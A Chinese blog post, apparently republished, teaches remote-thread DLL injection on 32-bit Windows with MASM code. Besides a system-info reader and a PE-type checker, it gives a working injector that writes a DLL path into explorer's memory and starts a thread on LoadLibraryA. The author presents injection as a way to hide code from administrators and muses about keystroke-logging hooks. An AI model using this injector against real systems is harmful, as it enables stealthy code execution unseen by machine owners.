当前位置:   article > 正文

X86下远程线程注入的两种形式-------Dll注入 && 内存注入_线程注入和内存注入区别

线程注入和内存注入区别

首先开始之前先申明一下代码只在X86环境下运行。博主使用的是VM虚拟机,操作系统是Windows XP Profession,具体信息可以写一个程序来获取:

  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4. include windows.inc
  5. include kernel32.inc
  6. includelib kernel32.lib
  7. include user32.inc
  8. includelib user32.lib
  9. include advapi32.inc
  10. includelib advapi32.lib
  11. .data
  12. dwOsInfo OSVERSIONINFO <0>
  13. szBuffer db 512 dup (0)
  14. dwIndex dd ?
  15. szCPUName db MAX_PATH dup (0)
  16. szCPUId db MAX_PATH dup (0)
  17. dwArchi dd ?
  18. dwMain dd ?
  19. dwSize dd ?
  20. szType1 dd ?
  21. szType2 dd ?
  22. .const
  23. szFmt db '操作系统: %s %d.%d %s', 0dh, 0ah
  24. db '处理器个数: %d', 0dh, 0ah
  25. db 'CPU名称: %s', 0dh, 0ah
  26. db 'CPU标识: %s', 0dh, 0ah
  27. db '架构: X%d', 0dh, 0ah
  28. db '主频: %d MHz', 0dh, 0ah, 0
  29. szSubKey1 db 'HARDWARE\DESCRIPTION\System\CentralProcessor', 0
  30. szSubKey2 db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0', 0
  31. szNt db 'Windows NT', 0
  32. sz9x db 'Windows 9x', 0
  33. szTitle db '版本信息', 0
  34. szCPUNameKey db 'ProcessorNameString', 0
  35. szCPUIdKey db 'Identifier', 0
  36. szArchi db 'Platform ID', 0
  37. szMain db '~MHz', 0
  38. .code
  39. getProcessorsNum proc
  40. local @hKey, @dwIndex, @dwSize
  41. local @szTempBuf[MAX_PATH]:byte
  42. pushad
  43. invoke RtlZeroMemory, addr @szTempBuf, sizeof @szTempBuf
  44. invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset szSubKey1, 0, KEY_ALL_ACCESS, addr @hKey
  45. .if eax == ERROR_SUCCESS
  46. mov @dwIndex, 0
  47. .while TRUE
  48. mov @dwSize, sizeof @szTempBuf
  49. invoke RegEnumKeyEx, @hKey, @dwIndex, addr @szTempBuf, addr @dwSize, NULL, NULL, \
  50. NULL, NULL
  51. .break .if eax == ERROR_NO_MORE_ITEMS
  52. inc @dwIndex
  53. .endw
  54. .endif
  55. mov eax, @dwIndex
  56. mov dwIndex, eax
  57. invoke RegCloseKey, @hKey
  58. popad
  59. ret
  60. getProcessorsNum endp
  61. getProcessorsInfo proc
  62. local @hKey
  63. pushad
  64. invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE, offset szSubKey2, 0, KEY_ALL_ACCESS, addr @hKey
  65. .if eax == ERROR_SUCCESS
  66. mov szType1, REG_SZ
  67. mov szType2, REG_DWORD
  68. mov dwSize, sizeof szCPUName
  69. invoke RegQueryValueEx, @hKey, offset szCPUNameKey, NULL, offset szType1, offset szCPUName, offset dwSize
  70. mov dwSize, sizeof szCPUId
  71. invoke RegQueryValueEx, @hKey, offset szCPUIdKey, NULL, offset szType1, offset szCPUId, offset dwSize
  72. mov dwSize, sizeof dwArchi
  73. invoke RegQueryValueEx, @hKey, offset szArchi, NULL, offset szType2, offset dwArchi, offset dwSize
  74. mov dwSize, sizeof dwMain
  75. invoke RegQueryValueEx, @hKey, offset szMain, NULL, offset szType2, offset dwMain, offset dwSize
  76. .endif
  77. invoke RegCloseKey, @hKey
  78. popad
  79. ret
  80. getProcessorsInfo endp
  81. start:
  82. call getProcessorsNum
  83. call getProcessorsInfo
  84. mov dwOsInfo.dwOSVersionInfoSize, sizeof OSVERSIONINFO
  85. invoke GetVersionEx, offset dwOsInfo
  86. mov eax, dwOsInfo.dwPlatformId
  87. cmp eax, VER_PLATFORM_WIN32_WINDOWS
  88. jnz NT
  89. invoke wsprintf, offset szBuffer, offset szFmt, offset sz9x, \
  90. dwOsInfo.dwMajorVersion, dwOsInfo.dwMinorVersion, offset dwOsInfo.szCSDVersion, \
  91. dwIndex, offset szCPUName, offset szCPUId, dwArchi, dwMain
  92. jmp FIN
  93. NT:
  94. invoke wsprintf, offset szBuffer, offset szFmt, offset szNt, \
  95. dwOsInfo.dwMajorVersion, dwOsInfo.dwMinorVersion, offset dwOsInfo.szCSDVersion, \
  96. dwIndex, offset szCPUName, offset szCPUId, dwArchi, dwMain
  97. FIN:
  98. invoke MessageBox, NULL, offset szBuffer, offset szTitle, MB_OK
  99. invoke ExitProcess, NULL
  100. end start

显示结果如下:

而在我物理真机里的系统信息:

这个程序可以在任意Windows系统下显示系统信息,除了Windows3.x那种古董机器(想要获取也可以),不过现在应该没人用了。即便是Win9x系列也几乎没人用了吧。这个程序可以判断Win9x系列,关键在于GetVersionEx这个API。

这里顺带说一下:

获取系统信息的方法有很多,我在这里使用的是从注册表里获取,因为注册表里信息比较全。你也可以通过环境变量得到,只是没注册表那么全。当然你也可以直接用GetSystemInfo来得到,我选择了注册表。

这里没有显示WinXP或者Win7,是因为Windows内部表示Windows系统是通过两个版本号,Windows NT 5.1代表的就是XP,Windows NT 6.1就是Win7。

你完全可以用C/C++来写这个程序,但我在练习使用汇编,所以基本所有程序都是汇编编写。学习我在学的技术的人肯定需要懂汇编

最关键的是在其他进程的地址空间中注入线程的时候需要用到重定位,而那必须要使用汇编来实现。只要有Win32编程基础看到这些API应该可以理解吧。

----------------------------------------------------------------------分割线--------------------------------------------------------------------------------------

现在正式进入主题。

1.远程注入总体概述

在80X86体系结构中80836及以上拥有32根地址线,32位的指令指针寄存器,最高寻址能到达4GB空间,也即只需要一个段就足够了称之为平坦模式。

而像8086至80826的16位处理器都只有20根地址线最多访问到1MB内存,每个段最多64KB。

PS: 虽然826已经有保护模式,但一个段依旧是64KB(因为指令指针寄存器是16位)程序规模依旧受到限制,不算正统保护模式

在x32以上的处理器中,每个进程拥有4GB的独立虚拟内存空间。每个进程都是隔离的,进程与进程之间不会互相干扰,而在8086系列中处在实模式下,进程间没有隔离经常会乱了套。

正是因为进程间在内存中是隔离,所以当你打开任务管理器查看时能够看到一个个完整的进程:

所以系统管理员如果看到一些不喜欢的进程可以直接杀掉。

但如果有一些进程不希望自己被发现该怎么办? 这时候远程线程注入技术就可以使用了。

远程线程注入主要是把自身程序上所携带的一段代码写入其他进程(称为宿主进程)的虚拟内存空间中,这样只要宿主进程没有被杀掉,那么我的那段代码就可以一直运行下去。在R3用户态下这种隐藏进程的方法已经很高级了(可能是我知识有限所以才觉得很高级)。

假设我把一段HOOK代码写入对方某进程中,并把截获的击键信息传到我的邮箱里,那根本没有安全性可言了。因为我的代码是运行在宿主进程里,系统管理员根本找不到这个进程没有办法限制。

2. 具体方法

1.Dll注入: Dll是Dynamic Link Library的缩写, 也就是动态链接库,它是一种可执行的PE文件,以*.dll的扩展名结尾,更可靠的判定方法可以从PE中PE头的IMAGE_FILE_HEADER结构中Characteristics字段如果是1000h,那代表IMAGE_FILE_DLL置位,也就是一个Dll文件。因为改掉.dll的后缀名后谁也不知道这是dll格式的文件,但PE格式除非用16进制编辑器手动修改,这是无法改变的,我举个例子,比如这个文件:

kernel32.dll显然这是一个dll文件,但是当我把它改成这样:

你还能分辨吗? 但是如上所说,我们可以通过PE格式中FileHeader的Characteristics来辨认,写一个如下程序:

如此一来,是什么类型格式的文件就一目了然了。源代码如下:

  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4. include windows.inc
  5. include kernel32.inc
  6. includelib kernel32.lib
  7. include user32.inc
  8. includelib user32.lib
  9. include comdlg32.inc
  10. includelib comdlg32.lib
  11. IDD_DIALOG1 equ 101
  12. IDC_EDI equ 1001
  13. IDC_BUTTO equ 1002
  14. IDC_TEXT equ 1003
  15. .data
  16. szFileName db MAX_PATH dup (?)
  17. .data?
  18. hWinMain dd ?
  19. hInstance dd ?
  20. hWinEdit dd ?
  21. hWinStatic dd ?
  22. lpMem dd ?
  23. .const
  24. szFilter db '可执行文件(*.exe;*.dll;*.scr;*.drv;*.fon)', 0, "*.exe;*.dll;*.scr;*.drv;*.fon", 0, \
  25. '所有文件(*.*)', '*.*', 0, 0
  26. szErrOpen db '打开PE文件失败!', 0
  27. szErrTitle db '错误', 0
  28. szErrFormat db '该文件不是PE文件!', 0
  29. szDll db '该文件为Dll动态链接库文件', 0
  30. szExe db '该文件为EXE可执行文件', 0
  31. szDrv db '该文件为Drv驱动文件', 0
  32. szNone db '无法辨认!', 0
  33. .code
  34. _GetFilePath proc
  35. local @stOpenFileName:OPENFILENAME
  36. invoke RtlZeroMemory, addr @stOpenFileName, sizeof @stOpenFileName
  37. mov @stOpenFileName.lStructSize, sizeof @stOpenFileName
  38. push hWinMain
  39. pop @stOpenFileName.hwndOwner
  40. mov @stOpenFileName.lpstrFilter, offset szFilter
  41. mov @stOpenFileName.lpstrFile, offset szFileName
  42. mov @stOpenFileName.nMaxFile, sizeof szFileName
  43. mov @stOpenFileName.Flags, OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST
  44. invoke GetOpenFileName, addr @stOpenFileName
  45. cmp eax, 0
  46. jnz BACK
  47. invoke MessageBox, hWinMain, offset szErrOpen, offset szErrTitle, MB_OK
  48. xor eax, eax
  49. BACK:
  50. ret
  51. _GetFilePath endp
  52. _ProcDlgMain proc uses ebx esi edi, hWnd, wMsg, wParam, lParam
  53. local @hFile, @hMapFile
  54. mov eax, wMsg
  55. .if eax == WM_COMMAND
  56. mov eax, wParam
  57. .if ax == IDC_BUTTO
  58. call _GetFilePath
  59. cmp eax, 0
  60. jnz SUC
  61. jmp FIN
  62. SUC:
  63. invoke SendMessage, hWinEdit, EM_SETSEL, 0, -1
  64. invoke SendMessage, hWinEdit, EM_REPLACESEL, FALSE, offset szFileName
  65. invoke CreateFile, offset szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, \
  66. OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
  67. .if eax
  68. mov @hFile, eax
  69. invoke CreateFileMapping, @hFile, NULL, PAGE_READONLY, 0, 0, NULL
  70. .if eax
  71. mov @hMapFile, eax
  72. invoke MapViewOfFile, @hMapFile, FILE_MAP_READ, 0, 0, 0
  73. .if eax
  74. mov lpMem, eax
  75. mov esi, lpMem
  76. assume esi:ptr IMAGE_DOS_HEADER
  77. .if word ptr [esi] != IMAGE_DOS_SIGNATURE
  78. invoke MessageBox, hWinMain, offset szErrFormat, offset szErrTitle, MB_OK
  79. jmp @F
  80. .endif
  81. add esi, dword ptr [esi + 3Ch]
  82. assume esi:ptr IMAGE_NT_HEADERS
  83. .if dword ptr [esi].Signature != IMAGE_NT_SIGNATURE
  84. invoke MessageBox, hWinMain, offset szErrFormat, offset szErrTitle, MB_OK
  85. jmp @F
  86. .endif
  87. add esi, 4
  88. assume esi:ptr IMAGE_FILE_HEADER
  89. invoke GetDlgItem, hWinMain, IDC_TEXT
  90. mov hWinStatic, eax
  91. mov ax, word ptr [esi].Characteristics
  92. .if ax & IMAGE_FILE_DLL
  93. invoke SetWindowText, hWinStatic, offset szDll
  94. .elseif ax & IMAGE_FILE_EXECUTABLE_IMAGE
  95. invoke SetWindowText, hWinStatic, offset szExe
  96. .elseif ax & IMAGE_FILE_SYSTEM
  97. invoke SetWindowText, hWinStatic, offset szDrv
  98. .else
  99. invoke SetWindowText, hWinStatic, offset szNone
  100. .endif
  101. @@:
  102. assume esi:nothing
  103. invoke UnmapViewOfFile, lpMem
  104. .endif
  105. invoke CloseHandle, @hMapFile
  106. .endif
  107. invoke CloseHandle, @hFile
  108. .endif
  109. .endif
  110. FIN:
  111. .elseif eax == WM_CLOSE
  112. invoke EndDialog, hWinMain, NULL
  113. .elseif eax == WM_INITDIALOG
  114. push hWnd
  115. pop hWinMain
  116. invoke GetDlgItem, hWinMain, IDC_EDI
  117. mov hWinEdit, eax
  118. invoke SendMessage, hWinEdit, EM_SETLIMITTEXT, MAX_PATH, 0
  119. invoke SendDlgItemMessage, hWinMain, IDC_EDI, EM_SETREADONLY, TRUE, NULL
  120. .else
  121. mov eax, FALSE
  122. ret
  123. .endif
  124. mov eax, TRUE
  125. ret
  126. _ProcDlgMain endp
  127. start:
  128. invoke GetModuleHandle, NULL
  129. mov hInstance, eax
  130. invoke DialogBoxParam, eax, IDD_DIALOG1, NULL, offset _ProcDlgMain, NULL
  131. invoke ExitProcess, NULL
  132. end start

有动态链接库,其实也有静态库这一说法,像C的标准函数库就属于静态库。

那动态链接库相比于静态库有什么好处?

链接器在链接过程中,需要把第三方库及各类资源与*.obj即目标文件经过重定位等步骤重新组合到一起,如果你用的是静态库,那生成的每个PE文件都会把所含的静态库的全部代码包含进去,造成了大量代码重复,挤占硬盘,内存空间不说执行时加载也要花去不少时间。

而动态链接库不会有这个问题,因为动态链接库不会被包含进生成的PE文件中,只有当用到该Dll的执行文件运行时才会被加载到内存中,而且由于存在内存映射技术,只需要在内存中加载一份Dll文件就可以供所有使用该Dll的进程使用。

动态链接库里面有什么内容?

一般都是可供调用的函数代码或者仅仅一个资源库,

可执行文件如何知道使用哪个Dll?

在PE文件格式中有一种叫做函数导入地址表(IAT),里面记载着可执行文件使用的所有外部导入的代码与API的VA(即虚拟地址),实际上IAT有两份还有一份叫函数导入名称表(INT)组成了双桥结构,当加载器把PE文件载入内存后,IAT中的RVA(即相对虚拟地址)就会被加载器转化成VA。从而PE文件就知道了所需要的函数或资源的虚拟地址,那个位置其实就是位于Dll中的各个段中。

而Dll文件一般只有导出表而没有导入表,因为他们一般都是提供者。当然也有特殊情况。

由于这篇博客不是讲PE格式,仅一笔带过

所以说了那么多,Dll注入到底是怎么回事?

由于要使用Dll必须要把它加载入PE文件的内存地址空间中,而有一些是常驻的dll比如kernel32.dll,这个dll中包含着创建进程所必需的API,所以几乎所有windows下的进程都会包含这个dll文件。而且相同版本的Windows中其API位于dll库中的位置都是一样的,举个例子,a.exe, b.exe, c.exe这三个可执行文件分别打开后, 内存中会加载一份kernel32.dll并且通过内存映射技术分别把kernel32.dll映射到这三个可执行文件里面,也就是说他们三将共用同一份代码,所以这个dll楼里面的函数的地址是相同的!!!!

而其中包含的对于远程线程注入来说最重要的三个API分别为:

GetModuleHandle: 获取模块句柄

GetProcAddress: 或者函数VA地址

LoadLibrary: 动态加载dll库文件

由于篇幅不想太长所以这三个API的参数请自行查看MSDN。

具体思路是:

1. 如果宿主进程是一个有窗口的进程,那么可以通过FindWindow直接找到窗口句柄

2.然后通过GetWindowThreadProcessId函数获取宿主进程ID以及主线程ID

3.接着通过OpenProcess函数获取宿主进程句柄

4.在通过VirtualAllocEx函数在宿主进程中分配一段内存

5.在通过WriteProcessMemory函数将LoadLibrary(注意是ANSI还是UNICODE)的地址写入宿主进程地址空间

6.在通过CreateRemoteThread函数在宿主地址空间内创建一个线程并调用LoadLibrary动态加载含有远程代码的dll库至宿主进程

7.最后便执行寄生于宿主进程的dll库中的远程代码完成整个远程注入过程

可能有人会问如果这个进程没有窗口怎么办? 如果没有窗口那么就用CreateToolhelp32Snapshot函数获得快照句柄后接着通过Process32First和Process32Next函数遍历所有进程寻找到所要进程的文件名和进程ID

我们来看一下实现的效果:

代码如下:

  1. .386
  2. .model flat, stdcall
  3. option casemap:none
  4. include windows.inc
  5. include kernel32.inc
  6. includelib kernel32.lib
  7. include user32.inc
  8. includelib user32.lib
  9. .data?
  10. dwProcessID dd ?
  11. dwThreadID dd ?
  12. hProcess dd ?
  13. lpLoadLibrary dd ?
  14. lpDllName dd ?
  15. szMyDllFull db MAX_PATH dup (?)
  16. .const
  17. szMyDll db '\dll.dll', 0
  18. szLoadLibrary db 'LoadLibraryA', 0
  19. szDllKernel db 'Kernel32.dll', 0
  20. szDesktopWindow db 'Program Manager', 0
  21. szErrOpen db '无法打开远程线程!', 0
  22. .code
  23. start:
  24. invoke GetCurrentDirectory, MAX_PATH, addr szMyDllFull
  25. invoke lstrcat, addr szMyDllFull, addr szMyDll
  26. invoke GetModuleHandle, addr szDllKernel
  27. invoke GetProcAddress, eax, offset szLoadLibrary
  28. mov lpLoadLibrary, eax
  29. invoke FindWindow, NULL, offset szDesktopWindow
  30. invoke GetWindowThreadProcessId, eax, offset dwProcessID
  31. mov dwThreadID, eax
  32. invoke OpenProcess, PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION or \
  33. PROCESS_VM_WRITE, FALSE, dwProcessID
  34. .if eax
  35. mov hProcess, eax
  36. invoke VirtualAllocEx, hProcess, NULL, MAX_PATH, MEM_COMMIT, PAGE_READWRITE
  37. .if eax
  38. mov lpDllName, eax
  39. invoke WriteProcessMemory, hProcess, eax, offset szMyDllFull, MAX_PATH, NULL
  40. invoke CreateRemoteThread, hProcess, NULL, 0, lpLoadLibrary, lpDllName, 0, NULL
  41. invoke CloseHandle, hProcess
  42. .endif
  43. .else
  44. invoke MessageBox, NULL, addr szErrOpen, NULL, MB_OK
  45. .endif
  46. invoke ExitProcess, NULL
  47. end start

由于dll文件中只有调用了一句MessageBox我就不贴了,这篇博文太长了..... 只要注意是在DLL_PROCESS_ATTACH时插入代码就行了。

总结一下:

虽然这篇博客主要讲述的是dll远程代码注入,但实际上牵扯到了太多东西。Dll注入虽然通过加载Dll的方式规避了重定位的问题但是Dll注入的方法的缺点也是显而易见的,那就是注入的前提还需要一个dll文件。

如果dll文件和执行文件被分开了那就根本没办法完成注入。

而且被加载到内存空间中的dll文件还是可以被一些工具所发现。

关于内存注入:

内存注入不需要dll文件,但是内存注入需要用解决重定位的问题。C/C++无法实现内存注入只能通过汇编,但重要是内存注入必须使用汇编语言,因为篇幅太长,下篇博客在说内存注入吧。

 

注:本篇博客环境都在32位操作系统上,x64中CreateRemoteThread无法使用,但是依旧可以完成注入,等内存注入写完,在写位于64位OS上的注入。

简单提一下: 64位的注入需要用到Native API也就是前面加了Nt的,其实大部分win32子系统的api都是通过Native API实现,所有Native API位于ntdll.dll中,你可以发现kernel32.dll,user32.dll等等都是在调用ntdll.dll。可以使用Dependency Walker查看一下:

可以看到Kernel32.dll是依赖于ntdll.dll的。这些NativeAPI是R3用户态至R0内核态的连接者,它通过中断的方式进入内核模式然后调用系统的服务例程。

如果想要在x64下完成注入就必须使用Native API。

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/不正经/article/detail/204214?site
推荐阅读
相关标签
  

闽ICP备14008679号